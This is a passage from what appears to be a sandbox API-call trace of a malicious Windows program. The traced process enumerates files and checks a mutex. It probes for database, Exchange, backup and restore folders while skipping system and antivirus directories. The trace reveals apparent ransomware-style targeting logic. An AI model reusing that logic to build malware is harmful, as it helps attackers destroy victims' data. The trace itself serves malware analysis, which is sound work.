bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.673] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 1 [0058.673] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.673] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.673] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.673] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.673] GlobalUnlock (hMem=0x440004) returned 0 [0058.673] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.673] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.673] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.673] GlobalUnlock (hMem=0x440004) returned 0 [0058.673] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.673] GlobalUnlock (hMem=0x44000c) returned 0 [0058.673] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.673] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 0 [0058.674] GetLastError () returned 0x12 [0058.674] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.675] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0058.675] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.675] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.675] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.675] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.675] GlobalUnlock (hMem=0x44000c) returned 0 [0058.675] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.675] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.675] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.675] GlobalUnlock (hMem=0x44000c) returned 0 [0058.675] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.675] GlobalUnlock (hMem=0x440004) returned 0 [0058.675] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.675] GlobalLock (hMem=0x440004) returned 0x550170 [0058.675] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.675] GlobalUnlock (hMem=0x440004) returned 0 [0058.676] GlobalLock (hMem=0x440004) returned 0x550170 [0058.676] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.676] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.676] GlobalUnlock (hMem=0x440004) returned 0 [0058.676] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.676] GlobalUnlock (hMem=0x44000c) returned 0 [0058.676] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.676] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel", len=0x32 | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel") returned 1 [0058.676] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.676] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.676] GlobalUnlock (hMem=0x44000c) returned 0 [0058.676] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.676] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.676] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.676] GlobalUnlock (hMem=0x44000c) returned 0 [0058.676] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.676] GlobalUnlock (hMem=0x440004) returned 0 [0058.676] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@闆R閚R企@\x18䃄Q\x18\x1b")) returned 0xffffffff [0058.679] GetLastError () returned 0x3 [0058.679] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.679] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0058.679] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0058.679] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@锴R企@\x18䀴Q\x181")) returned 0xffffffff [0058.681] GetLastError () returned 0x2 [0058.681] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.681] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0058.681] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 9 [0058.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@蘜T企@\x18?T\x18;")) returned 0xffffffff [0058.682] GetLastError () returned 0x2 [0058.683] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.683] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0058.683] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@蔴T企@\x18?T\x18D")) returned 0xffffffff [0058.684] GetLastError () returned 0x2 [0058.684] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.684] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0058.684] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@锴R企@\x18蘜T\x18j")) returned 0xffffffff [0058.686] GetLastError () returned 0x2 [0058.686] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.686] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ae8, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0058.686] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@蔴T企@\x18?T\x18q")) returned 0xffffffff [0058.687] GetLastError () returned 0x2 [0058.687] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.687] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\蘘TP") returned 6 [0058.687] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@夜U企@\x18?T\x18y")) returned 0xffffffff [0058.689] GetLastError () returned 0x2 [0058.689] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.689] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0058.689] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@锴R企@\x18?T\x18\x81")) returned 0xffffffff [0058.690] GetLastError () returned 0x2 [0058.690] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0058.690] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@蔴T企@\x18?T\x18\x88")) returned 0xffffffff [0058.692] GetLastError () returned 0x2 [0058.692] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.692] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0058.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@夜U企@\x18?T\x18\x8f")) returned 0xffffffff [0058.693] GetLastError () returned 0x2 [0058.693] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.693] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0058.693] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@锴R企@\x18?T\x18\x97")) returned 0xffffffff [0058.695] GetLastError () returned 0x2 [0058.695] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.695] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0058.695] GlobalLock (hMem=0x440004) returned 0x550170 [0058.695] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.695] GlobalUnlock (hMem=0x440004) returned 0 [0058.695] GlobalLock (hMem=0x440004) returned 0x550170 [0058.695] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.695] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.695] GlobalUnlock (hMem=0x440004) returned 0 [0058.695] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.695] GlobalUnlock (hMem=0x44000c) returned 0 [0058.695] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.695] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.695] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0058.695] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.695] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0058.695] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0058.695] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.695] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.695] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.695] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.695] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0058.695] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.696] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.696] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.696] GlobalUnlock (hMem=0x44000c) returned 0 [0058.696] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.696] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.696] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.696] GlobalUnlock (hMem=0x44000c) returned 0 [0058.696] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.696] GlobalUnlock (hMem=0x440004) returned 0 [0058.696] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.696] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.696] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.696] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.696] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.696] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.696] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.696] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0058.696] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.696] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0058.696] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.696] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0058.696] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.696] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0058.696] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.697] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\") returned 0x33 [0058.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0058.697] GlobalLock (hMem=0x440004) returned 0x550170 [0058.697] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.697] GlobalUnlock (hMem=0x440004) returned 0 [0058.697] GlobalLock (hMem=0x440004) returned 0x550170 [0058.697] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.697] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.697] GlobalUnlock (hMem=0x440004) returned 0 [0058.697] GlobalHandle 